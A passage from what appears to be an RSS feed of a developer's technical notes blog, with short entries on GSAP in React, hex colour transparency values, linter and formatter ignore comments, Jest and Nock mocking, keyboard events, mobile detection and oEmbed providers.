    &amp;lt;div ref={container}&amp;gt;
      &amp;lt;div className=&quot;box&quot;&amp;gt;Animated&amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;With dependencies&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;useGSAP(
  () =&amp;gt; {
    gsap.to(&apos;.box&apos;, { x: isActive ? 200 : 0 })
  },
  { scope: container, dependencies: [isActive] }
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;With ScrollTrigger&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import { useRef } from &apos;react&apos;
import gsap from &apos;gsap&apos;
import { ScrollTrigger } from &apos;gsap/ScrollTrigger&apos;
import { useGSAP } from &apos;@gsap/react&apos;

gsap.registerPlugin(ScrollTrigger, useGSAP)

const ScrollAnimation = () =&amp;gt; {
  const container = useRef&amp;lt;HTMLDivElement&amp;gt;(null)

  useGSAP(
    () =&amp;gt; {
      gsap.to(&apos;.box&apos;, {
        y: 100,
        scrollTrigger: {
          trigger: &apos;.box&apos;,
          start: &apos;top center&apos;,
          end: &apos;bottom center&apos;,
          scrub: true,
        },
      })
    },
    { scope: container }
  )

  return (
    &amp;lt;div ref={container}&amp;gt;
      &amp;lt;div className=&quot;box&quot;&amp;gt;Scroll-driven&amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Context-safe callbacks&lt;/h3&gt;
&lt;p&gt;For event handlers or callbacks, use &lt;code&gt;contextSafe&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const { contextSafe } = useGSAP({ scope: container })

const handleClick = contextSafe(() =&amp;gt; {
  gsap.to(&apos;.box&apos;, { rotation: 360 })
})

return &amp;lt;button onClick={handleClick}&amp;gt;Rotate&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Legacy approach (manual cleanup)&lt;/h3&gt;
&lt;p&gt;If you can&apos;t use &lt;code&gt;@gsap/react&lt;/code&gt;, handle cleanup manually:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;useEffect(() =&amp;gt; {
  const ctx = gsap.context(() =&amp;gt; {
    gsap.to(&apos;.box&apos;, { x: 100 })
  }, container)

  return () =&amp;gt; ctx.revert()
}, [])
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;ScrollTo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Docs: https://gsap.com/docs/v3/Plugins/ScrollToPlugin&lt;/li&gt;
&lt;li&gt;Demos: https://gsap.com/st-demos/&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;import gsap from &apos;gsap&apos;
import { ScrollToPlugin } from &apos;gsap/ScrollToPlugin&apos;
gsap.registerPlugin(ScrollToPlugin)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Useful links:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://css-tricks.com/writing-smarter-animation-code/&lt;/li&gt;
&lt;li&gt;https://css-tricks.com/tips-for-writing-animation-code-efficiently/&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>animation</category><category>react</category><category>javascript</category><author>Zander Martineau</author></item><item><title>Hexadecimal colour code for transparency</title><link>https://zander.wtf/notes/hexadecimal-transparency/</link><guid isPermaLink="true">https://zander.wtf/notes/hexadecimal-transparency/</guid><description>How to set transparency with hex value? For example, you want to set 40% alpha transparence to #000000 (black color), you need to add 66 like this…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;How to set transparency with hex value?&lt;/h3&gt;
&lt;p&gt;For example, you want to set &lt;strong&gt;40%&lt;/strong&gt; alpha transparence to &lt;code&gt;#000000&lt;/code&gt; (black color), you need to add &lt;code&gt;66&lt;/code&gt; like this &lt;code&gt;#00000066&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;All hex value from 100% to 0% alpha:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;100% — FF&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;99% — FC&lt;/li&gt;
&lt;li&gt;98% — FA&lt;/li&gt;
&lt;li&gt;97% — F7&lt;/li&gt;
&lt;li&gt;96% — F5&lt;/li&gt;
&lt;li&gt;95% — F2&lt;/li&gt;
&lt;li&gt;94% — F0&lt;/li&gt;
&lt;li&gt;93% — ED&lt;/li&gt;
&lt;li&gt;92% — EB&lt;/li&gt;
&lt;li&gt;91% — E8&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;90% — E6&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;89% — E3&lt;/li&gt;
&lt;li&gt;88% — E0&lt;/li&gt;
&lt;li&gt;87% — DE&lt;/li&gt;
&lt;li&gt;86% — DB&lt;/li&gt;
&lt;li&gt;85% — D9&lt;/li&gt;
&lt;li&gt;84% — D6&lt;/li&gt;
&lt;li&gt;83% — D4&lt;/li&gt;
&lt;li&gt;82% — D1&lt;/li&gt;
&lt;li&gt;81% — CF&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;80% — CC&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;79% — C9&lt;/li&gt;
&lt;li&gt;78% — C7&lt;/li&gt;
&lt;li&gt;77% — C4&lt;/li&gt;
&lt;li&gt;76% — C2&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;75% — BF&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;74% — BD&lt;/li&gt;
&lt;li&gt;73% — BA&lt;/li&gt;
&lt;li&gt;72% — B8&lt;/li&gt;
&lt;li&gt;71% — B5&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;70% — B3&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;69% — B0&lt;/li&gt;
&lt;li&gt;68% — AD&lt;/li&gt;
&lt;li&gt;67% — AB&lt;/li&gt;
&lt;li&gt;66% — A8&lt;/li&gt;
&lt;li&gt;65% — A6&lt;/li&gt;
&lt;li&gt;64% — A3&lt;/li&gt;
&lt;li&gt;63% — A1&lt;/li&gt;
&lt;li&gt;62% — 9E&lt;/li&gt;
&lt;li&gt;61% — 9C&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;60% — 99&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;59% — 96&lt;/li&gt;
&lt;li&gt;58% — 94&lt;/li&gt;
&lt;li&gt;57% — 91&lt;/li&gt;
&lt;li&gt;56% — 8F&lt;/li&gt;
&lt;li&gt;55% — 8C&lt;/li&gt;
&lt;li&gt;54% — 8A&lt;/li&gt;
&lt;li&gt;53% — 87&lt;/li&gt;
&lt;li&gt;52% — 85&lt;/li&gt;
&lt;li&gt;51% — 82&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;50% — 80&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;49% — 7D&lt;/li&gt;
&lt;li&gt;48% — 7A&lt;/li&gt;
&lt;li&gt;47% — 78&lt;/li&gt;
&lt;li&gt;46% — 75&lt;/li&gt;
&lt;li&gt;45% — 73&lt;/li&gt;
&lt;li&gt;44% — 70&lt;/li&gt;
&lt;li&gt;43% — 6E&lt;/li&gt;
&lt;li&gt;42% — 6B&lt;/li&gt;
&lt;li&gt;41% — 69&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;40% — 66&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;39% — 63&lt;/li&gt;
&lt;li&gt;38% — 61&lt;/li&gt;
&lt;li&gt;37% — 5E&lt;/li&gt;
&lt;li&gt;36% — 5C&lt;/li&gt;
&lt;li&gt;35% — 59&lt;/li&gt;
&lt;li&gt;34% — 57&lt;/li&gt;
&lt;li&gt;33% — 54&lt;/li&gt;
&lt;li&gt;32% — 52&lt;/li&gt;
&lt;li&gt;31% — 4F&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;30% — 4D&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;29% — 4A&lt;/li&gt;
&lt;li&gt;28% — 47&lt;/li&gt;
&lt;li&gt;27% — 45&lt;/li&gt;
&lt;li&gt;26% — 42&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;25% — 40&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;24% — 3D&lt;/li&gt;
&lt;li&gt;23% — 3B&lt;/li&gt;
&lt;li&gt;22% — 38&lt;/li&gt;
&lt;li&gt;21% — 36&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;20% — 33&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;19% — 30&lt;/li&gt;
&lt;li&gt;18% — 2E&lt;/li&gt;
&lt;li&gt;17% — 2B&lt;/li&gt;
&lt;li&gt;16% — 29&lt;/li&gt;
&lt;li&gt;15% — 26&lt;/li&gt;
&lt;li&gt;14% — 24&lt;/li&gt;
&lt;li&gt;13% — 21&lt;/li&gt;
&lt;li&gt;12% — 1F&lt;/li&gt;
&lt;li&gt;11% — 1C&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;10% — 1A&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;9% — 17&lt;/li&gt;
&lt;li&gt;8% — 14&lt;/li&gt;
&lt;li&gt;7% — 12&lt;/li&gt;
&lt;li&gt;6% — 0F&lt;/li&gt;
&lt;li&gt;5% — 0D&lt;/li&gt;
&lt;li&gt;4% — 0A&lt;/li&gt;
&lt;li&gt;3% — 08&lt;/li&gt;
&lt;li&gt;2% — 05&lt;/li&gt;
&lt;li&gt;1% — 03&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;0% — 00&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>Ignoring code</title><link>https://zander.wtf/notes/ignoring-code/</link><guid isPermaLink="true">https://zander.wtf/notes/ignoring-code/</guid><description>ESlint https://eslint.org/docs/user-guide/configuring#disabling-rules-with-inline-comments Prettier https://prettier.io/docs/en/ignore.html JavaScript A…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;ESlint&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://eslint.org/docs/user-guide/configuring#disabling-rules-with-inline-comments&quot;&gt;https://eslint.org/docs/user-guide/configuring#disabling-rules-with-inline-comments&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* eslint-disable */
alert(&apos;foo&apos;)
/* eslint-enable */

/* eslint-disable no-alert, no-console */
alert(&apos;foo&apos;)
console.log(&apos;bar&apos;)
/* eslint-enable no-alert, no-console */

alert(&apos;foo&apos;) // eslint-disable-line

alert(&apos;foo&apos;) // eslint-disable-line no-alert
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Prettier&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://prettier.io/docs/en/ignore.html&quot;&gt;https://prettier.io/docs/en/ignore.html&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;JavaScript&lt;/h3&gt;
&lt;p&gt;A JavaScript comment of &lt;code&gt;// prettier-ignore&lt;/code&gt; will exclude the next node in the abstract syntax tree from formatting.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// prettier-ignore
matrix(
    1, 0, 0,
    0, 1, 0,
    0, 0, 1
)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;HTML&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- prettier-ignore --&amp;gt;
&amp;lt;div         class=&quot;x&quot;       &amp;gt;hello world&amp;lt;/div            &amp;gt;

&amp;lt;!-- prettier-ignore-attribute --&amp;gt;
&amp;lt;div
  (mousedown)=&quot;       onStart    (    )         &quot;
  (mouseup)=&quot;         onEnd      (    )         &quot;
&amp;gt;&amp;lt;/div&amp;gt;

&amp;lt;!-- prettier-ignore-attribute (mouseup) --&amp;gt;
&amp;lt;div
  (mousedown)=&quot;onStart()&quot;
  (mouseup)=&quot;         onEnd      (    )         &quot;
&amp;gt;&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;JSX&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;
  {/* prettier-ignore */}
  &amp;lt;span     ugly  format=&apos;&apos;   /&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;CSS&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;/* prettier-ignore */
.my    ugly rule
{

}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Markdown&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- prettier-ignore --&amp;gt;
Do   not    format   this
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This type of ignore is only allowed to be used in top-level and aimed to disable formatting for auto-generated content, e.g. all-contributors, markdown-toc, etc.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- prettier-ignore-start --&amp;gt;
&amp;lt;!-- SOMETHING AUTO-GENERATED BY TOOLS - START --&amp;gt;

| MY | AWESOME | AUTO-GENERATED | TABLE |
|-|-|-|-|
| a | b | c | d |

&amp;lt;!-- SOMETHING AUTO-GENERATED BY TOOLS - END --&amp;gt;
&amp;lt;!-- prettier-ignore-end --&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;YAML&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# prettier-ignore
key  : value
hello: world
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;GraphQL&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;{
  # prettier-ignore
  addReaction(input:{superLongInputFieldName:&quot;MDU6SXNzdWUyMzEzOTE1NTE=&quot;,content:HOORAY}) {
    reaction {content}
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;TypeScript&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// @ts-ignore

// @ts-expect-error
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Prefer &lt;code&gt;// @ts-expect-error&lt;/code&gt; — unlike &lt;code&gt;@ts-ignore&lt;/code&gt;, it errors if the next line doesn&apos;t actually have an error, so stale suppressions don&apos;t hang around.&lt;/p&gt;
&lt;h2&gt;Biome&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://biomejs.dev/analyzer/suppressions/&quot;&gt;https://biomejs.dev/analyzer/suppressions/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Biome ignores need the rule name and a reason. The general shape is &lt;code&gt;// biome-ignore &amp;lt;category&amp;gt;[/&amp;lt;group&amp;gt;/&amp;lt;rule&amp;gt;]: &amp;lt;reason&amp;gt;&lt;/code&gt; where the category is &lt;code&gt;lint&lt;/code&gt;, &lt;code&gt;format&lt;/code&gt;, &lt;code&gt;assist&lt;/code&gt;, or &lt;code&gt;syntax&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// biome-ignore lint/suspicious/noExplicitAny: legacy API shape
const data: any = getData()

// suppress a whole group, or all lint rules (less specific = more blunt)
// biome-ignore lint/suspicious: reason
// biome-ignore lint: reason
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Skip formatting for the next node:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// biome-ignore format: hand-aligned matrix
matrix(
  1, 0, 0,
  0, 1, 0,
  0, 0, 1
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Whole-file suppression — must be at the top of the file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// biome-ignore-all lint/suspicious/noConsole: CLI output
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Range suppression:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// biome-ignore-start lint/suspicious/noDebugger: local debugging
debugger
// biome-ignore-end lint/suspicious/noDebugger: local debugging
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;oxfmt&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://oxc.rs/docs/guide/usage/formatter/ignore-comments.html&quot;&gt;https://oxc.rs/docs/guide/usage/formatter/ignore-comments.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Oxc&apos;s formatter uses &lt;code&gt;// oxfmt-ignore&lt;/code&gt; on the line before a statement — and it also honours &lt;code&gt;// prettier-ignore&lt;/code&gt;, so migrating doesn&apos;t mean rewriting existing ignores:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// oxfmt-ignore
matrix(
  1, 0, 0,
  0, 1, 0,
  0, 0, 1
)
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;
  {/* oxfmt-ignore */}
  &amp;lt;span     ugly  format=&apos;&apos;   /&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Caveats: no trailing same-line ignores (deliberate, for performance), and no range ignores (&lt;code&gt;oxfmt-ignore-start&lt;/code&gt;/&lt;code&gt;end&lt;/code&gt;) yet — both differences from Prettier. For linting, oxlint uses ESLint-style comments (&lt;code&gt;// oxlint-disable-next-line rule-name&lt;/code&gt;).&lt;/p&gt;
&lt;h2&gt;Stylelint&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;/* stylelint-disable */
const Container = styled.div``
/* stylelint-enable */
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>css</category><category>html</category><category>javascript</category><category>typescript</category><author>Zander Martineau</author></item><item><title>Pluralisation with inflect()</title><link>https://zander.wtf/notes/inflect/</link><guid isPermaLink="true">https://zander.wtf/notes/inflect/</guid><description>Often nouns need slight changes depending on the quantity of that noun. Example: One person, several people. I call these differences &quot;inflections&quot;. The…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Often nouns need slight changes depending on the quantity of that noun. Example: One person, several people. I call these differences &quot;inflections&quot;. The &lt;code&gt;inflect&lt;/code&gt; function below is a little helper function I use to help me apply inflections in my application.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const inflect = (singular: string, plural = `${singular}s`) =&amp;gt; {
  return (quantity: number): string =&amp;gt;
    Math.abs(quantity) === 1 ? singular : plural
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;inflect is a higher order function, meaning it&apos;s a function that returns a function. If you need some info on higher order functions, check out my post on them and the post on currying.&lt;/p&gt;
&lt;p&gt;This solution makes use of default parameters for the &lt;code&gt;plural&lt;/code&gt; argument. If adding an &quot;s&quot; is all you need to make a plural, then you don&apos;t need to provide it. Like this&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// If you use this a lot, you can export this particular inflection
const inflectPost = inflect(&apos;post&apos;)

console.log(inflectPost(1)) // &apos;post&apos;
console.log(inflectPost(2)) // &apos;posts&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But often plurals have oddities (like &quot;person&quot; and &quot;people&quot;), so you can supply a plural argument when you need it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const inflectMouse = inflect(&apos;mouse&apos;, &apos;mice&apos;)
const inflectKnife = inflect(&apos;knife&apos;, &apos;knives&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, as helpful as this is, it is not a proper solution should you need internationalization. Treat this is a helper function for those instances this can support. For anything beyond trivial English plurals, use the built-in &lt;a href=&quot;/notes/intl-pluralrules&quot;&gt;&lt;code&gt;Intl.PluralRules&lt;/code&gt;&lt;/a&gt; — it&apos;s the standards-based option.&lt;/p&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>is-mobile check</title><link>https://zander.wtf/notes/is-mobile-check/</link><guid isPermaLink="true">https://zander.wtf/notes/is-mobile-check/</guid><description>UA-string sniffing is mostly a dead end now — browsers ship reduced/frozen user agent strings, so device detection from them is increasingly unreliable. On…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;UA-string sniffing is mostly a dead end now — browsers ship reduced/frozen user agent strings, so device detection from them is increasingly unreliable. On the client, use these instead:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// UA Client Hints — Chromium only, so fall back to a capability check
const isMobile =
  navigator.userAgentData?.mobile ??
  matchMedia(&apos;(pointer: coarse)&apos;).matches
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;navigator.userAgentData.mobile&lt;/code&gt; is the browser telling you directly. Where it&apos;s unavailable (Safari, Firefox), &lt;code&gt;(pointer: coarse)&lt;/code&gt; checks the primary input device — which is usually the question I&apos;m actually asking anyway.&lt;/p&gt;
&lt;h2&gt;Server-side (UA string is all you have)&lt;/h2&gt;
&lt;p&gt;For parsing a &lt;code&gt;User-Agent&lt;/code&gt; header, &lt;a href=&quot;https://github.com/faisalman/ua-parser-js&quot;&gt;ua-parser-js&lt;/a&gt; still works:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { UAParser } from &apos;ua-parser-js&apos;

const isUserAgentSignallingMobile = (userAgentString) =&amp;gt; {
  const { device } = UAParser(userAgentString)
  return device.type === &apos;mobile&apos;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two caveats:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ua-parser-js v2 (2024) relicensed to AGPLv3/commercial. The MIT version is the frozen 1.x line — pin accordingly.&lt;/li&gt;
&lt;li&gt;Because of frozen/reduced UA strings, treat the result as a hint, not truth.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>Jest global mocks</title><link>https://zander.wtf/notes/jest-mocks/</link><guid isPermaLink="true">https://zander.wtf/notes/jest-mocks/</guid><description>Some useful mocks window.matchMedia jsdom still doesn&apos;t implement matchMedia. The mock needs the modern addEventListener/removeEventListener/dispatchEvent…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Some useful mocks&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;window.matchMedia&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;jsdom still doesn&apos;t implement &lt;code&gt;matchMedia&lt;/code&gt;. The mock needs the modern &lt;code&gt;addEventListener&lt;/code&gt;/&lt;code&gt;removeEventListener&lt;/code&gt;/&lt;code&gt;dispatchEvent&lt;/code&gt; shape — I keep the deprecated &lt;code&gt;addListener&lt;/code&gt;/&lt;code&gt;removeListener&lt;/code&gt; in there too for older libs that still call them.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * Contract + integration tests will use node env, not jsdom;
 * window doesn&apos;t exist in node and will make jest fail.
 * Put any mocks referencing &apos;window&apos; in this &apos;if&apos; block.
 */
if (typeof window !== &apos;undefined&apos;) {
  window.matchMedia = jest.fn().mockImplementation((query) =&amp;gt; ({
    matches: false,
    media: query,
    onchange: null,
    addEventListener: jest.fn(),
    removeEventListener: jest.fn(),
    dispatchEvent: jest.fn(),
    // deprecated, but some libs still use them
    addListener: jest.fn(),
    removeListener: jest.fn(),
  }))
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;next/link&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;jest.mock(&apos;next/link&apos;, () =&amp;gt; {
  return ({ children }) =&amp;gt; {
    return children
  }
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Next.js router&lt;/h3&gt;
&lt;p&gt;For the App Router, mock &lt;code&gt;next/navigation&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;jest.mock(&apos;next/navigation&apos;, () =&amp;gt; ({
  useRouter: () =&amp;gt; ({
    push: jest.fn(),
    replace: jest.fn(),
    back: jest.fn(),
    prefetch: jest.fn(),
    refresh: jest.fn(),
  }),
  usePathname: () =&amp;gt; &apos;/&apos;,
  useSearchParams: () =&amp;gt; new URLSearchParams(),
}))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Legacy (Pages Router only):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;jest.mock(&apos;next/router&apos;, () =&amp;gt; {
  return {
    push: () =&amp;gt; {},
    replace: () =&amp;gt; {},
    prefetch: () =&amp;gt; {},
  }
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;next/config&lt;/code&gt; (legacy)&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;publicRuntimeConfig&lt;/code&gt; only exists in the Pages Router — it&apos;s unavailable in the App Router, where plain env vars are preferred. Keeping this for old codebases:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import config from &apos;config&apos;

const mockPublicConfigData = {
  env: config.get(&apos;env&apos;),
  base: config.get(&apos;base&apos;),
  client: config.get(&apos;client&apos;),
}

jest.mock(&apos;next/config&apos;, () =&amp;gt; () =&amp;gt; ({
  publicRuntimeConfig: mockPublicConfigData,
}))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I used to stub &lt;code&gt;MutationObserver&lt;/code&gt; here too, but jsdom has shipped a real implementation since 2020, so that&apos;s no longer needed.&lt;/p&gt;
</content:encoded><category>javascript</category><category>testing</category><author>Zander Martineau</author></item><item><title>Keycode</title><link>https://zander.wtf/notes/keycode/</link><guid isPermaLink="true">https://zander.wtf/notes/keycode/</guid><description>event.isComposing is all you need to detect IME composition these days — the old keyCode === 229 check is dead along with keyCode itself. If you need finer…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;document.addEventListener(&apos;keydown&apos;, (event: KeyboardEvent) =&amp;gt; {
  if (event.target instanceof Node &amp;amp;&amp;amp; isFormField(event.target)) {
    return
  }
  if (event.isComposing) {
    // ignore keystrokes while an IME composition is in progress
    return
  }
  // do something
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;event.isComposing&lt;/code&gt; is all you need to detect IME composition these days — the old &lt;code&gt;keyCode === 229&lt;/code&gt; check is dead along with &lt;code&gt;keyCode&lt;/code&gt; itself. If you need finer control, listen for &lt;code&gt;compositionstart&lt;/code&gt;/&lt;code&gt;compositionend&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Use &lt;code&gt;event.key&lt;/code&gt; (the character/action, e.g. &lt;code&gt;&apos;Enter&apos;&lt;/code&gt;, &lt;code&gt;&apos;a&apos;&lt;/code&gt;) or &lt;code&gt;event.code&lt;/code&gt; (the physical key, e.g. &lt;code&gt;&apos;KeyA&apos;&lt;/code&gt;) to identify which key was pressed.&lt;/p&gt;
&lt;p&gt;Alt link: http://keycode.info/&lt;/p&gt;
&lt;h2&gt;&lt;code&gt;isFormField()&lt;/code&gt; util&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;export function isFormField(element: Node): boolean {
  if (!(element instanceof HTMLElement)) {
    return false
  }

  const name = element.nodeName.toLowerCase()
  const type = (element.getAttribute(&apos;type&apos;) || &apos;&apos;).toLowerCase()
  return (
    name === &apos;select&apos; ||
    name === &apos;textarea&apos; ||
    (name === &apos;input&apos; &amp;amp;&amp;amp; type !== &apos;submit&apos; &amp;amp;&amp;amp; type !== &apos;reset&apos;) ||
    element.isContentEditable
  )
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>Nock</title><link>https://zander.wtf/notes/nock/</link><guid isPermaLink="true">https://zander.wtf/notes/nock/</guid><description>Note: nock only intercepts Node&apos;s native fetch (undici) from v14 (2024) onwards — make sure you&apos;re on nock &gt;= 14 if your code uses built-in fetch. Worth…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;import nock from &apos;nock&apos;

const scope = nock(&apos;https://api.github.com&apos;)
  .get(&apos;/repos/atom/atom/license&apos;)
  .reply(200, {
    license: {
      key: &apos;mit&apos;,
      name: &apos;MIT License&apos;,
      spdx_id: &apos;MIT&apos;,
      url: &apos;https://api.github.com/licenses/mit&apos;,
      node_id: &apos;MDc6TGljZW5zZTEz&apos;,
    },
  })
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note: nock only intercepts Node&apos;s native &lt;code&gt;fetch&lt;/code&gt; (undici) from v14 (2024) onwards — make sure you&apos;re on nock &amp;gt;= 14 if your code uses built-in &lt;code&gt;fetch&lt;/code&gt;. Worth knowing about the modern alternatives too: &lt;a href=&quot;https://mswjs.io/&quot;&gt;MSW&lt;/a&gt; (&lt;code&gt;msw/node&lt;/code&gt;) and undici&apos;s built-in &lt;code&gt;MockAgent&lt;/code&gt;.&lt;/p&gt;
</content:encoded><category>testing</category><category>javascript</category><author>Zander Martineau</author></item><item><title>oEmbed</title><link>https://zander.wtf/notes/oembed/</link><guid isPermaLink="true">https://zander.wtf/notes/oembed/</guid><description>Default providers list: https://oembed.com/providers.json Example provider scheme: Reddit Twitter / X The schemes in providers.json now cover…</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Default providers list: https://oembed.com/providers.json&lt;/p&gt;
&lt;p&gt;Example provider scheme:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;provider_name&quot;: &quot;X&quot;,
  &quot;provider_url&quot;: &quot;https:\/\/x.com\/&quot;,
  &quot;endpoints&quot;: [
    {
      &quot;schemes&quot;: [
        &quot;https:\/\/x.com\/*\/status\/*&quot;,
        &quot;https:\/\/*.x.com\/*\/status\/*&quot;
      ],
      &quot;url&quot;: &quot;https:\/\/publish.twitter.com\/oembed&quot;
    }
  ]
},
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Reddit&lt;/h3&gt;
